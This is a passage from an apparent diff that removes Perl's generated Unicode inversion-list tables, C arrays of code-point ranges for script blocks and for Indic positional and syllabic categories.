148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x104B0, - 0x10500 -}; - -static const UV PL_INOSMANYA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10480, - 0x104B0 -}; - -static const UV PL_INPAHAWHHMONG_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16B00, - 0x16B90 -}; - -static const UV PL_INPAUCINHAU_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11AC0, - 0x11B00 -}; - -static const UV PL_INPC__BOTTOM_invlist[] = { /* for all charsets */ - 265, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x93C, - 0x93D, - 0x941, - 0x945, - 0x94D, - 0x94E, - 0x952, - 0x953, - 0x956, - 0x958, - 0x962, - 0x964, - 0x9BC, - 0x9BD, - 0x9C1, - 0x9C5, - 0x9CD, - 0x9CE, - 0x9E2, - 0x9E4, - 0xA3C, - 0xA3D, - 0xA41, - 0xA43, - 0xA4D, - 0xA4E, - 0xA75, - 0xA76, - 0xABC, - 0xABD, - 0xAC1, - 0xAC5, - 0xACD, - 0xACE, - 0xAE2, - 0xAE4, - 0xB3C, - 0xB3D, - 0xB41, - 0xB45, - 0xB4D, - 0xB4E, - 0xB62, - 0xB64, - 0xC56, - 0xC57, - 0xC62, - 0xC64, - 0xCBC, - 0xCBD, - 0xCE2, - 0xCE4, - 0xD43, - 0xD45, - 0xD62, - 0xD64, - 0xDD4, - 0xDD5, - 0xDD6, - 0xDD7, - 0xE38, - 0xE3B, - 0xEB8, - 0xEBA, - 0xEBC, - 0xEBD, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF71, - 0xF72, - 0xF74, - 0xF76, - 0xF84, - 0xF85, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102F, - 0x1031, - 0x1037, - 0x1038, - 0x103D, - 0x103F, - 0x1058, - 0x105A, - 0x105E, - 0x1061, - 0x1082, - 0x1083, - 0x108D, - 0x108E, - 0x1713, - 0x1715, - 0x1733, - 0x1735, - 0x1753, - 0x1754, - 0x1773, - 0x1774, - 0x17BB, - 0x17BE, - 0x1922, - 0x1923, - 0x1932, - 0x1933, - 0x1939, - 0x193A, - 0x193B, - 0x193C, - 0x1A18, - 0x1A19, - 0x1A56, - 0x1A57, - 0x1A5B, - 0x1A5F, - 0x1A69, - 0x1A6B, - 0x1A6C, - 0x1A6D, - 0x1A7F, - 0x1A80, - 0x1B38, - 0x1B3B, - 0x1B6C, - 0x1B6D, - 0x1BA2, - 0x1BA4, - 0x1BA5, - 0x1BA6, - 0x1BAC, - 0x1BAE, - 0x1C2C, - 0x1C2D, - 0x1C37, - 0x1C38, - 0x1CD5, - 0x1CDA, - 0x1CDC, - 0x1CE0, - 0x1CED, - 0x1CEE, - 0xA825, - 0xA826, - 0xA8C4, - 0xA8C5, - 0xA92B, - 0xA92E, - 0xA947, - 0xA94A, - 0xA94B, - 0xA94F, - 0xA9B8, - 0xA9BA, - 0xAA2D, - 0xAA2E, - 0xAA32, - 0xAA33, - 0xAA35, - 0xAA37, - 0xAAB4, - 0xAAB5, - 0xAAEC, - 0xAAED, - 0xABE8, - 0xABE9, - 0xABED, - 0xABEE, - 0x10A02, - 0x10A04, - 0x10A0C, - 0x10A0F, - 0x10A39, - 0x10A3B, - 0x1103C, - 0x11042, - 0x110B3, - 0x110B5, - 0x110B9, - 0x110BB, - 0x1112A, - 0x1112C, - 0x11131, - 0x11133, - 0x11173, - 0x11174, - 0x111B6, - 0x111BC, - 0x111CC, - 0x111CD, - 0x1122F, - 0x11230, - 0x112E3, - 0x112E5, - 0x112E9, - 0x112EB, - 0x11438, - 0x1143E, - 0x11442, - 0x11443, - 0x11446, - 0x11447, - 0x114B3, - 0x114B9, - 0x114C2, - 0x114C4, - 0x115B2, - 0x115B6, - 0x115BF, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11633, - 0x11639, - 0x1163F, - 0x11640, - 0x116B0, - 0x116B2, - 0x116B7, - 0x116B8, - 0x1171D, - 0x1171E, - 0x11724, - 0x11726, - 0x11728, - 0x11729, - 0x11A02, - 0x11A04, - 0x11A0A, - 0x11A0B, - 0x11A33, - 0x11A35, - 0x11A3B, - 0x11A3F, - 0x11A52, - 0x11A54, - 0x11A59, - 0x11A5C, - 0x11A8A, - 0x11A96, - 0x11C32, - 0x11C37, - 0x11C3F, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CAA, - 0x11CB1, - 0x11CB2, - 0x11CB3, - 0x11D36, - 0x11D37, - 0x11D42, - 0x11D43, - 0x11D44, - 0x11D45, - 0x11D47, - 0x11D48 -}; - -static const UV PL_INPC__BOTTOMANDLEFT_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA9BF, - 0xA9C0 -}; - -static const UV PL_INPC__BOTTOMANDRIGHT_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1B3B, - 0x1B3C, - 0xA9C0, - 0xA9C1 -}; - -static const UV PL_INPC__LEFT_invlist[] = { /* for all charsets */ - 81, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x93F, - 0x940, - 0x94E, - 0x94F, - 0x9BF, - 0x9C0, - 0x9C7, - 0x9C9, - 0xA3F, - 0xA40, - 0xABF, - 0xAC0, - 0xB47, - 0xB48, - 0xBC6, - 0xBC9, - 0xD46, - 0xD49, - 0xDD9, - 0xDDA, - 0xDDB, - 0xDDC, - 0xF3F, - 0xF40, - 0x1031, - 0x1032, - 0x1084, - 0x1085, - 0x17C1, - 0x17C4, - 0x1A19, - 0x1A1A, - 0x1A55, - 0x1A56, - 0x1A6E, - 0x1A73, - 0x1B3E, - 0x1B40, - 0x1BA6, - 0x1BA7, - 0x1C27, - 0x1C29, - 0x1C34, - 0x1C36, - 0xA9BA, - 0xA9BC, - 0xAA2F, - 0xAA31, - 0xAA34, - 0xAA35, - 0xAAEB, - 0xAAEC, - 0xAAEE, - 0xAAEF, - 0x110B1, - 0x110B2, - 0x1112C, - 0x1112D, - 0x111B4, - 0x111B5, - 0x112E1, - 0x112E2, - 0x11347, - 0x11349, - 0x11436, - 0x11437, - 0x114B1, - 0x114B2, - 0x114B9, - 0x114BA, - 0x115B0, - 0x115B1, - 0x115B8, - 0x115B9, - 0x116AE, - 0x116AF, - 0x11726, - 0x11727, - 0x11CB1, - 0x11CB2 -}; - -static const UV PL_INPC__LEFTANDRIGHT_invlist[] = { /* for all charsets */ - 27, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9CB, - 0x9CD, - 0xB4B, - 0xB4C, - 0xBCA, - 0xBCD, - 0xD4A, - 0xD4D, - 0xDDC, - 0xDDD, - 0xDDE, - 0xDDF, - 0x17C0, - 0x17C1, - 0x17C4, - 0x17C6, - 0x1B40, - 0x1B42, - 0x1134B, - 0x1134D, - 0x114BC, - 0x114BD, - 0x114BE, - 0x114BF, - 0x115BA, - 0x115BB -}; - -static const UV PL_INPC__NA_invlist[] = { /* for all charsets */ - 383, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x900, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x981, - 0x984, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9D7, - 0x9D8, - 0x9E2, - 0x9E4, - 0xA01, - 0xA04, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xABC, - 0xABD, - 0xABE, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAE2, - 0xAE4, - 0xAFA, - 0xB00, - 0xB01, - 0xB04, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB62, - 0xB64, - 0xB82, - 0xB83, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD7, - 0xBD8, - 0xC00, - 0xC04, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC62, - 0xC64, - 0xC81, - 0xC84, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCE2, - 0xCE4, - 0xD00, - 0xD04, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD57, - 0xD58, - 0xD62, - 0xD64, - 0xD82, - 0xD84, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF4, - 0xE30, - 0xE3B, - 0xE40, - 0xE46, - 0xE47, - 0xE4F, - 0xEB0, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEC0, - 0xEC5, - 0xEC8, - 0xECE, - 0xF18, - 0xF1A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF71, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x102B, - 0x1039, - 0x103A, - 0x103C, - 0x103D, - 0x103F, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x1090, - 0x109A, - 0x109E, - 0x1712, - 0x1715, - 0x1732, - 0x1735, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B6, - 0x17D2, - 0x17D3, - 0x17D4, - 0x17DD, - 0x17DE, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x19B0, - 0x19C1, - 0x19C8, - 0x19CA, - 0x1A17, - 0x1A1C, - 0x1A55, - 0x1A5F, - 0x1A61, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1B00, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B83, - 0x1BA1, - 0x1BAB, - 0x1BAC, - 0x1BAE, - 0x1BE6, - 0x1BF4, - 0x1C24, - 0x1C38, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF7, - 0x1CF8, - 0x1DFB, - 0x1DFC, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA828, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA92B, - 0xA92E, - 0xA947, - 0xA954, - 0xA980, - 0xA984, - 0xA9B3, - 0xA9C1, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA37, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4E, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAEB, - 0xAAF0, - 0xAAF5, - 0xAAF6, - 0xABE3, - 0xABEB, - 0xABEC, - 0xABEE, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A10, - 0x10A38, - 0x10A3B, - 0x11000, - 0x11003, - 0x11038, - 0x11047, - 0x11080, - 0x11083, - 0x110B0, - 0x110BB, - 0x11100, - 0x11103, - 0x11127, - 0x11133, - 0x11134, - 0x11135, - 0x11173, - 0x11174, - 0x11180, - 0x11183, - 0x111B3, - 0x111C1, - 0x111CB, - 0x111CD, - 0x1122C, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112EB, - 0x11301, - 0x11304, - 0x1133E, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134E, - 0x11357, - 0x11358, - 0x11362, - 0x11364, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x11435, - 0x11447, - 0x114B0, - 0x114C4, - 0x115AF, - 0x115B6, - 0x115B8, - 0x115C1, - 0x115DC, - 0x115DE, - 0x11630, - 0x11641, - 0x116AB, - 0x116B8, - 0x1171D, - 0x1171E, - 0x1171F, - 0x1172C, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A3F, - 0x11A51, - 0x11A5C, - 0x11A8A, - 0x11A99, - 0x11C2F, - 0x11C37, - 0x11C38, - 0x11C40, - 0x11C92, - 0x11CA8, - 0x11CA9, - 0x11CB7, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D45, - 0x11D47, - 0x11D48 -}; - -static const UV PL_INPC__OVERSTRUCK_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1CD4, - 0x1CD5, - 0x1CE2, - 0x1CE9, - 0x10A01, - 0x10A02, - 0x10A06, - 0x10A07 -}; - -static const UV PL_INPC__RIGHT_invlist[] = { /* for all charsets */ - 301, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x903, - 0x904, - 0x93B, - 0x93C, - 0x93E, - 0x93F, - 0x940, - 0x941, - 0x949, - 0x94D, - 0x94F, - 0x950, - 0x982, - 0x984, - 0x9BE, - 0x9BF, - 0x9C0, - 0x9C1, - 0x9D7, - 0x9D8, - 0xA03, - 0xA04, - 0xA3E, - 0xA3F, - 0xA40, - 0xA41, - 0xA83, - 0xA84, - 0xABE, - 0xABF, - 0xAC0, - 0xAC1, - 0xACB, - 0xACD, - 0xB02, - 0xB04, - 0xB3E, - 0xB3F, - 0xB40, - 0xB41, - 0xBBE, - 0xBC0, - 0xBC1, - 0xBC3, - 0xBD7, - 0xBD8, - 0xC01, - 0xC04, - 0xC41, - 0xC45, - 0xC82, - 0xC84, - 0xCBE, - 0xCBF, - 0xCC1, - 0xCC5, - 0xCD5, - 0xCD7, - 0xD02, - 0xD04, - 0xD3E, - 0xD43, - 0xD57, - 0xD58, - 0xD82, - 0xD84, - 0xDCF, - 0xDD2, - 0xDD8, - 0xDD9, - 0xDDF, - 0xDE0, - 0xDF2, - 0xDF4, - 0xE30, - 0xE31, - 0xE32, - 0xE34, - 0xE45, - 0xE46, - 0xEB0, - 0xEB1, - 0xEB2, - 0xEB4, - 0xF3E, - 0xF3F, - 0xF7F, - 0xF80, - 0x102B, - 0x102D, - 0x1038, - 0x1039, - 0x103B, - 0x103C, - 0x1056, - 0x1058, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1083, - 0x1084, - 0x1087, - 0x108D, - 0x108F, - 0x1090, - 0x109A, - 0x109D, - 0x17B6, - 0x17B7, - 0x17C7, - 0x17C9, - 0x1923, - 0x1925, - 0x1929, - 0x192C, - 0x1930, - 0x1932, - 0x1933, - 0x1939, - 0x19B0, - 0x19B5, - 0x19B8, - 0x19BA, - 0x19BB, - 0x19C1, - 0x19C8, - 0x19CA, - 0x1A1A, - 0x1A1B, - 0x1A57, - 0x1A58, - 0x1A61, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A6D, - 0x1A6E, - 0x1B04, - 0x1B05, - 0x1B35, - 0x1B36, - 0x1B44, - 0x1B45, - 0x1B82, - 0x1B83, - 0x1BA1, - 0x1BA2, - 0x1BA7, - 0x1BA8, - 0x1BAA, - 0x1BAB, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1BF4, - 0x1C24, - 0x1C27, - 0x1C2A, - 0x1C2C, - 0x1CE1, - 0x1CE2, - 0x1CF7, - 0x1CF8, - 0xA823, - 0xA825, - 0xA827, - 0xA828, - 0xA880, - 0xA882, - 0xA8B4, - 0xA8C4, - 0xA952, - 0xA954, - 0xA983, - 0xA984, - 0xA9B4, - 0xA9B6, - 0xA9BD, - 0xA9BF, - 0xAA33, - 0xAA34, - 0xAA4D, - 0xAA4E, - 0xAA7B, - 0xAA7C, - 0xAA7D, - 0xAA7E, - 0xAAB1, - 0xAAB2, - 0xAABA, - 0xAABB, - 0xAABD, - 0xAABE, - 0xAAEF, - 0xAAF0, - 0xAAF5, - 0xAAF6, - 0xABE3, - 0xABE5, - 0xABE6, - 0xABE8, - 0xABE9, - 0xABEB, - 0xABEC, - 0xABED, - 0x11000, - 0x11001, - 0x11002, - 0x11003, - 0x11082, - 0x11083, - 0x110B0, - 0x110B1, - 0x110B2, - 0x110B3, - 0x110B7, - 0x110B9, - 0x11182, - 0x11183, - 0x111B3, - 0x111B4, - 0x111B5, - 0x111B6, - 0x111C0, - 0x111C1, - 0x1122C, - 0x1122F, - 0x11235, - 0x11236, - 0x112E0, - 0x112E1, - 0x112E2, - 0x112E3, - 0x11302, - 0x11304, - 0x1133E, - 0x11340, - 0x11341, - 0x11345, - 0x1134D, - 0x1134E, - 0x11357, - 0x11358, - 0x11362, - 0x11364, - 0x11435, - 0x11436, - 0x11437, - 0x11438, - 0x11440, - 0x11442, - 0x11445, - 0x11446, - 0x114B0, - 0x114B1, - 0x114B2, - 0x114B3, - 0x114BD, - 0x114BE, - 0x114C1, - 0x114C2, - 0x115AF, - 0x115B0, - 0x115B1, - 0x115B2, - 0x115BE, - 0x115BF, - 0x11630, - 0x11633, - 0x1163B, - 0x1163D, - 0x1163E, - 0x1163F, - 0x116AC, - 0x116AD, - 0x116AF, - 0x116B0, - 0x116B6, - 0x116B7, - 0x11720, - 0x11722, - 0x11A39, - 0x11A3A, - 0x11A57, - 0x11A59, - 0x11A97, - 0x11A98, - 0x11C2F, - 0x11C30, - 0x11C3E, - 0x11C3F, - 0x11CA9, - 0x11CAA, - 0x11CB4, - 0x11CB5 -}; - -static const UV PL_INPC__TOP_invlist[] = { /* for all charsets */ - 349, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x900, - 0x903, - 0x93A, - 0x93B, - 0x945, - 0x949, - 0x951, - 0x952, - 0x953, - 0x956, - 0x981, - 0x982, - 0xA01, - 0xA03, - 0xA47, - 0xA49, - 0xA4B, - 0xA4D, - 0xA70, - 0xA72, - 0xA81, - 0xA83, - 0xAC5, - 0xAC6, - 0xAC7, - 0xAC9, - 0xAFA, - 0xB00, - 0xB01, - 0xB02, - 0xB3F, - 0xB40, - 0xB56, - 0xB57, - 0xB82, - 0xB83, - 0xBC0, - 0xBC1, - 0xBCD, - 0xBCE, - 0xC00, - 0xC01, - 0xC3E, - 0xC41, - 0xC46, - 0xC48, - 0xC4A, - 0xC4E, - 0xC55, - 0xC56, - 0xC81, - 0xC82, - 0xCBF, - 0xCC0, - 0xCC6, - 0xCC7, - 0xCCC, - 0xCCE, - 0xD00, - 0xD02, - 0xD3B, - 0xD3D, - 0xD4D, - 0xD4E, - 0xDCA, - 0xDCB, - 0xDD2, - 0xDD4, - 0xE31, - 0xE32, - 0xE34, - 0xE38, - 0xE47, - 0xE4F, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEB8, - 0xEBB, - 0xEBC, - 0xEC8, - 0xECE, - 0xF39, - 0xF3A, - 0xF72, - 0xF73, - 0xF7A, - 0xF7F, - 0xF80, - 0xF81, - 0xF82, - 0xF84, - 0xF86, - 0xF88, - 0x102D, - 0x102F, - 0x1032, - 0x1037, - 0x103A, - 0x103B, - 0x1071, - 0x1075, - 0x1085, - 0x1087, - 0x109D, - 0x109E, - 0x1712, - 0x1713, - 0x1732, - 0x1733, - 0x1752, - 0x1753, - 0x1772, - 0x1773, - 0x17B7, - 0x17BB, - 0x17C6, - 0x17C7, - 0x17C9, - 0x17D2, - 0x17D3, - 0x17D4, - 0x17DD, - 0x17DE, - 0x1920, - 0x1922, - 0x1927, - 0x1929, - 0x193A, - 0x193B, - 0x1A17, - 0x1A18, - 0x1A1B, - 0x1A1C, - 0x1A58, - 0x1A5B, - 0x1A62, - 0x1A63, - 0x1A65, - 0x1A69, - 0x1A6B, - 0x1A6C, - 0x1A73, - 0x1A7D, - 0x1B00, - 0x1B04, - 0x1B34, - 0x1B35, - 0x1B36, - 0x1B38, - 0x1B42, - 0x1B43, - 0x1B6B, - 0x1B6C, - 0x1B6D, - 0x1B74, - 0x1B80, - 0x1B82, - 0x1BA4, - 0x1BA5, - 0x1BA8, - 0x1BAA, - 0x1BE6, - 0x1BE7, - 0x1BE8, - 0x1BEA, - 0x1BED, - 0x1BEE, - 0x1BEF, - 0x1BF2, - 0x1C2D, - 0x1C34, - 0x1C36, - 0x1C37, - 0x1CD0, - 0x1CD3, - 0x1CDA, - 0x1CDC, - 0x1CE0, - 0x1CE1, - 0x1CF4, - 0x1CF5, - 0x1DFB, - 0x1DFC, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA826, - 0xA827, - 0xA8C5, - 0xA8C6, - 0xA8E0, - 0xA8F2, - 0xA94A, - 0xA94B, - 0xA94F, - 0xA952, - 0xA980, - 0xA983, - 0xA9B3, - 0xA9B4, - 0xA9B6, - 0xA9B8, - 0xA9BC, - 0xA9BD, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA2D, - 0xAA2E, - 0xAA2F, - 0xAA31, - 0xAA32, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA4D, - 0xAA7C, - 0xAA7D, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB4, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAED, - 0xAAEE, - 0xABE5, - 0xABE6, - 0x10A05, - 0x10A06, - 0x10A0F, - 0x10A10, - 0x10A38, - 0x10A39, - 0x11001, - 0x11002, - 0x11038, - 0x1103C, - 0x11042, - 0x11047, - 0x11080, - 0x11082, - 0x110B5, - 0x110B7, - 0x11100, - 0x11103, - 0x11127, - 0x1112A, - 0x1112D, - 0x1112E, - 0x11130, - 0x11131, - 0x11134, - 0x11135, - 0x11180, - 0x11182, - 0x111BC, - 0x111BF, - 0x111CB, - 0x111CC, - 0x11230, - 0x11232, - 0x11234, - 0x11235, - 0x11236, - 0x11238, - 0x1123E, - 0x1123F, - 0x112DF, - 0x112E0, - 0x112E5, - 0x112E9, - 0x11301, - 0x11302, - 0x11340, - 0x11341, - 0x11366, - 0x1136D, - 0x11370, - 0x11375, - 0x1143E, - 0x11440, - 0x11443, - 0x11445, - 0x114BA, - 0x114BB, - 0x114BF, - 0x114C1, - 0x115BC, - 0x115BE, - 0x11639, - 0x1163B, - 0x1163D, - 0x1163E, - 0x11640, - 0x11641, - 0x116AB, - 0x116AC, - 0x116AD, - 0x116AE, - 0x116B2, - 0x116B6, - 0x1171F, - 0x11720, - 0x11722, - 0x11724, - 0x11727, - 0x11728, - 0x11729, - 0x1172C, - 0x11A01, - 0x11A02, - 0x11A04, - 0x11A0A, - 0x11A35, - 0x11A39, - 0x11A51, - 0x11A52, - 0x11A54, - 0x11A57, - 0x11A96, - 0x11A97, - 0x11A98, - 0x11A99, - 0x11C30, - 0x11C32, - 0x11C38, - 0x11C3E, - 0x11CB3, - 0x11CB4, - 0x11CB5, - 0x11CB7, - 0x11D31, - 0x11D36, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D42, - 0x11D43, - 0x11D44 -}; - -static const UV PL_INPC__TOPANDBOTTOM_invlist[] = { /* for all charsets */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xC48, - 0xC49, - 0xF73, - 0xF74, - 0xF76, - 0xF7A, - 0xF81, - 0xF82, - 0x1B3C, - 0x1B3D, - 0x1112E, - 0x11130 -}; - -static const UV PL_INPC__TOPANDBOTTOMANDRIGHT_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1B3D, - 0x1B3E -}; - -static const UV PL_INPC__TOPANDLEFT_invlist[] = { /* for all charsets */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB48, - 0xB49, - 0xDDA, - 0xDDB, - 0x17BE, - 0x17BF, - 0x1C29, - 0x1C2A, - 0x114BB, - 0x114BC, - 0x115B9, - 0x115BA -}; - -static const UV PL_INPC__TOPANDLEFTANDRIGHT_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB4C, - 0xB4D, - 0xDDD, - 0xDDE, - 0x17BF, - 0x17C0, - 0x115BB, - 0x115BC -}; - -static const UV PL_INPC__TOPANDRIGHT_invlist[] = { /* for all charsets */ - 19, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAC9, - 0xACA, - 0xB57, - 0xB58, - 0xCC0, - 0xCC1, - 0xCC7, - 0xCC9, - 0xCCA, - 0xCCC, - 0x1925, - 0x1927, - 0x1B43, - 0x1B44, - 0x111BF, - 0x111C0, - 0x11232, - 0x11234 -}; - -static const UV PL_INPHAGSPA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA840, - 0xA880 -}; - -static const UV PL_INPHOENICIAN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10900, - 0x10920 -}; - -static const UV PL_INPSALTERPAHLAVI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10B80, - 0x10BB0 -}; - -static const UV PL_INPUNCTUATION_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2000, - 0x2070 -}; - -static const UV PL_INREJANG_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA930, - 0xA960 -}; - -static const UV PL_INRUNIC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x16A0, - 0x1700 -}; - -static const UV PL_INSAMARITAN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x800, - 0x840 -}; - -static const UV PL_INSAURASHTRA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA880, - 0xA8E0 -}; - -static const UV PL_INSC__AVAGRAHA_invlist[] = { /* for all charsets */ - 31, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x93D, - 0x93E, - 0x9BD, - 0x9BE, - 0xABD, - 0xABE, - 0xB3D, - 0xB3E, - 0xC3D, - 0xC3E, - 0xCBD, - 0xCBE, - 0xD3D, - 0xD3E, - 0xF85, - 0xF86, - 0x17DC, - 0x17DD, - 0x1BBA, - 0x1BBB, - 0x111C1, - 0x111C2, - 0x1133D, - 0x1133E, - 0x11447, - 0x11448, - 0x114C4, - 0x114C5, - 0x11C40, - 0x11C41 -}; - -static const UV PL_INSC__BINDU_invlist[] = { /* for all charsets */ - 97, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x900, - 0x903, - 0x981, - 0x983, - 0x9FC, - 0x9FD, - 0xA01, - 0xA03, - 0xA70, - 0xA71, - 